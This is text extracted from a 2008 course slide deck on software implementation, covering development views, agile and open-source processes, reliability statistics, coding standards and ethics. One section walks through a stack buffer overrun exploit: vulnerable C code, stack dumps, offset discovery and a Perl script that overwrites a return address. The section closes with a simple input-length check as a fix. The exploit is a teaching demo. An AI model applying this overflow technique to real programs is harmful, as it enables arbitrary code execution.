cs 552 spring 2008 implementation 1 implementation cs 552 spring ‘08

CS 552 Spring 2008 Implementation

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Implementation

CS 552 Spring ‘08


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Figure 3: Kruchten’s “4 + 1”Model for Developing Software Architecture

+ 1 Business Scenario

+ 1 BusinessScenario

+ 1 Business Scenario

View 1

Logical--

End Users

View 2

Process--

System Integrators

View 3

Physical--

Engineers

View 4

Development--

Programmers

This is an innovative andcomprehensive integrationof the abstractions needed to design the structure for writingsystem requirements.


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Development View -Tools

• Coding Tools- map problem to solution domain; Concurrency

• Testing tools- assures quality• Production tools- translates code into product.• System Management tools-OAM&P• Open Source• Documentation tools -record decisions and system changes.


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Code Review

#include <stdio.h>#include <string.h> void foo(const char* input){

char buf[10]; printf(“My stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf, input);

printf(“%s\n”, buf); printf(“Now the stack looks like: \n%p\n%p\n%p\n%p\n%p\n%p\n\n”);}


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Exercise

Can you show how a static buffer overrun can be used to execute arbitrary code in this program? The objective is to find a flaw that has allows an input string that to execute a hack and insert a virus.


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Can you find the flaw

• Detailed Design leads to fragile software or to robust software.

• How could you prevent the ‘hack’ that can execute a virus?


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Now lets look at some examples of input: [d:\]StaticOverrun.exe HelloAddress of foo = 00401000Address of bar = 00401045My stack looks like:00000000000000007FFDF0000012FF800040108A < - - We want to overwrite the return address for foo00410EDE to 00401045 which is the address of bar HelloNow the stack looks like:6C6C6548 < - - You can see where “Hello” was copied in0000006F7FFDF0000012FF800040108A00410EDE


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Now for the classic test for buffer overruns – we input a long string [d:\]StaticOverrun.exe AAAAAAAAAAAAAAAAAAAAAAAAAddress of foo = 00401000Address of bar = 00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EDE AAAAAAAAAAAAAAAAAAAAAAAA < - - 24 A’s, A = 0x41Now the stack looks like:4141414141414141414141414141414141414141 41414141 This would cause an application error message claiming the instruction at 0x41414141 tried to access memory at address 0x41414141 !


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Now we want to try and find the location by feeding it different characters [d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Address of foo = 00401000Address of bar = 00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EDE ABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890Now the stack looks like:44434241484746454C4B4A49504F4E4D5453525158575655


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We can see that the 54 stands for T and is on the line where we want to modify the returnaddress to foo, so lets try this: [d:\]StaticOverrun.exe ABCDEFGHIJKLMNOPQRSAddress of foo = 00401000Address of bar = 00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EDE ABCDEFGHIJKLMNOPQRSNow the stack looks like:44434241484746454C4B4A49504F4E4D0053525100410ECE


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Now we can see that if we could send it 0x45, 0x10, 0x40 instead of QRS we could get bar to execute, to do this we’ll have to use a perl script $arg = “ABCDEFGHIJKLMNOP”.”\x45\x10\x40”;$cmd = “StaticOverrun “.$arg; system(cmd);


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Running this script produces the desired result: [d:\devstudio\myprojects\staticoverrun]perl HackOverrun.plAddress of foo = 00401000Address of bar = 00401045My stack looks like:00000000000000007FFDF0000012FF800040108A00410EDE ABCDEFGHIJKLMNOPE?@Now the stack looks like:44434241484746454C4B4A49504F4E4D0040104500410ECA Augh! I’ve been hacked!


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How could you prevent the hack?

• Check to make sure the input string does not exceed the buffer.

• Add this code:

if input > buffer exit, else

strcpy(buf, input)


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Implementation Processes• Incremental Development

• Component-based design.

• Agile Methods.

• Model Driven Development- maintains architectural integrity

• Autonomic Computing — deals with system operation complexity.


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Agile Methods• Highly motivated and skilled individuals • Continuous customer collaboration • Minimizes risk with rapid iterative implementation• Small increments• Bottom up emphasis• Delivery of working software frequently - the measure of progress• Team work and collaboration vital


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Scrum Summary Feedback Control

Product BacklogsQFD

Daily

Scrum

Standards, Conventions, Guidelines

Sprint Backlog

Sprint

Planning

Meeting

SprintExecutable Product Increment


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Model Driven Development.

• Formal models may be executable• Traceability from requirements to implementation.• Complete development documentation to eliminate legacy code• Automatic code generation• Modifications and updates as design (not code) changes — avoids software aging or architectural drifts • Prototypes may become models.BUT the human thought process of transforming the design to implementation is still needed. This is a way to move to a higher level language.


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Legacy Code — M.M. Lehman

Poorly documented source code that cannot be modified or updated because its exact operation is unknown.

Information

Time

product delivery time

legacy code

Current product information

Out of-date product information

Meir M.Lehman

~ 1980


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Open Source Code

• The developer must be a user and there are:

– No royalties– Accessible source code – Modifications and derivations are encouraged– No person, group or field of endeavor can be denied

access to the program – The rights attached to the program must not depend on

the program's being part of a particular software distribution

– The licensed software cannot place restrictions on other software that is distributed with it.


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Free Open Source Software (FOSS)

1. The freedom to run the program, for any purpose

2. The freedom to study how the program works, and adapt it to your needs. Access to the source code is a must.

3. The freedom to redistribute copies so you can help others.

4. The freedom to improve the program, and release your improvements to the public, so that the whole community benefit. Access to the source code is again a must.


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FOSS Development Processes

• Requirements as informal web notes - no apriori spec• Version Control and incremental releases-

‘committer’• Zero Maintenance- evolutionary redevelopment• Layered Meritocracy with virtual project manager

having source control and assignments• Explicit Software Technology Transfer

as reported by Walt Scacchi UCSB


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Autonomic ComputingSystems capable of running themselves, adjusting varying workloads — systems that allow users to concentrate on what they have to do, instead of how to do it.• Overcomes OAM&P complexity• Self-monitoring & self-configuring • Self-optimizing & self-adapting• Self-healing & self-protecting


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A brief aside on measurement

• A fault leads to a failure. It is essential to count everything, not just serious ones, (25:1 spread has been observed between all faults and serious ones).

• Systems are often compared in fault density, (faults per KLOC). This is a function of time. It only makes sense when comparing mature systems, (the asymptotic value).

• Definitions of a line of code can vary considerably, (range of 2:1 in C).

• Definitions of time also vary. For mean time to fail, it is the time of use !


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Categories of post-delivery failures in 1997 Study

Pe

rce

nt

of

po

st-

de

liv

ery

fa

ilu

res

0

5

10

15

20

25

30

35

Majo

r

Mediu

m

Min

or

Test

ing

Docu

menta

tion

Unass

igned

This data suggests that major / minor failure ratio is somewherebetween 5% and 10%.

CAA Canadian Aviation Authority


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The NASA data

Errors per 1000 lines at NASA Goddard 1978-1990

Err

ors

pe

r 1

00

0 l

ine

s

0

2

4

6

8

10

12

1976

1978

1980

1982

1984

1986

1988

1990

Low

Average

High


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Strategic importance of reliability

Reliability is of strategic importance to companies. Why ?


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The growth in maintenance costs

Maintenance

as a % of

typical

Software

Department

Budget

0

10

20

30

40

50

60

70

80

90

100

1960

1965

1970

1975

1980

1985

1990

Source: US Quality Assurance Institute


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Software maintenance costs

The Microsoft Help Desk costs were reported by Bender (1996) at Star’96 as follows:-

• Cost prior to Window’s 95 was 25,000 calls per day at an estimated $50-100 per call.

Assuming $75 average, this gives $684 million per year.

• It is estimated to have jumped to 100,000 calls per day since Window’s 95, giving an overhead of approximately $2.5 billion per year.


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The distribution of Life-Cycle Costs

0

5

10

15

20

25

30

35

40

45

Development CorrectiveMaintenance

AdaptiveMaintenance

Perfectivemaintenance

Per

cent of to

tal life

-cyc

le c

ost

Source: NASA, Arnold (1983), Boehm and others


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Programming Language Complexity

• Fortran 77 ~ 150 pages• Ada83 ~ 280 pages• C90 ~ 190 pages

• FORTRAN 90 ~ 400 pages• Ada95 ~ 600 pages• C++, (1998?) ~ 800 pages (and growing)


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Development Processes

• Incremental Development:

– Using incremental development, the functionality of the system is produced and delivered to our customer in increments.

– Redirecting the project becomes far easier since one can incorporate changes quickly.

– The incremental approach has allowed us to firstly focus on the essential features of the system.

– Also, additional features can easily be implemented if time allows.


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Development Processes

• Regression Testing:

– It is a quality control measure to ensure that the newly modified code still complies with its specified requirements and that unmodified code has not been affected by the maintenance activity.

– Regression testing is the selective retesting of a software system that has been modified to ensure that any bugs have been fixed and that no other previously working functions have failed as a result of newly added features.


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Release Plan

• The game will be posted on the internet through our website for interested users to download and play.

• The installation file will be posted along with our electronic user manual for our game.


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Coding Standards• Indentation

– Tabs must be exactly 4 spaces– Long lines can be broken at coder’s prerogative.

• Comments – Commenting should be used at a minimum; it should be used to explain the purpose of potentially confusing

areas.– The “/* */” comments will be used to comment out blocks of code, rather than for descriptions, unless

absolutely necessary.• Declarations

– Variables will be defined at the beginning of functions.– Variables must be initialized before use; no initial values will be assumed.

• Global variables– Globals should be used only when other methods will cause performance issues.– Major data variables will be shared among most modules.

• Statements – Multiple statements per line are encouraged where code readability will profit.

• Braces– When using braces “{ }” for blocks of code, they will occupy their own line.

• Naming conventions– Names will use underscores to separate names (e.g., init_models())– Constants will be defined in all capitals (e.g., TERRAIN_MAX_HEIGHT).– Capitals will not be used, except for in constants or where absolutely necessary.

• File organization– Class definitions will be stored in separate header (.h) files.


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Lessons Learned

• Other responsibilities– Classes: TCP/IP– Work

• Communication• Start coding earlier• Start testing earlier• Slippage• Were too ambitious (caught up in the moment)• More design details• Lack of resources


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Ethics• Analyze safety and risks

• Read the literature

• Humanize tasks

• Understand the problem, don’t just accepting the customer’s solution

• Respect property rights and privacy

• Ship systems that work

• Advocate ethical behavior

• Stand up and be counted.

cs 552 spring 2008 implementation 1 implementation cs 552 spring ‘08

Documents

implementation cs

address 0x41414141

hello address of foo

return address

ede slide

address of bar hello

business scenario view

f 7ffdf000 0012ff80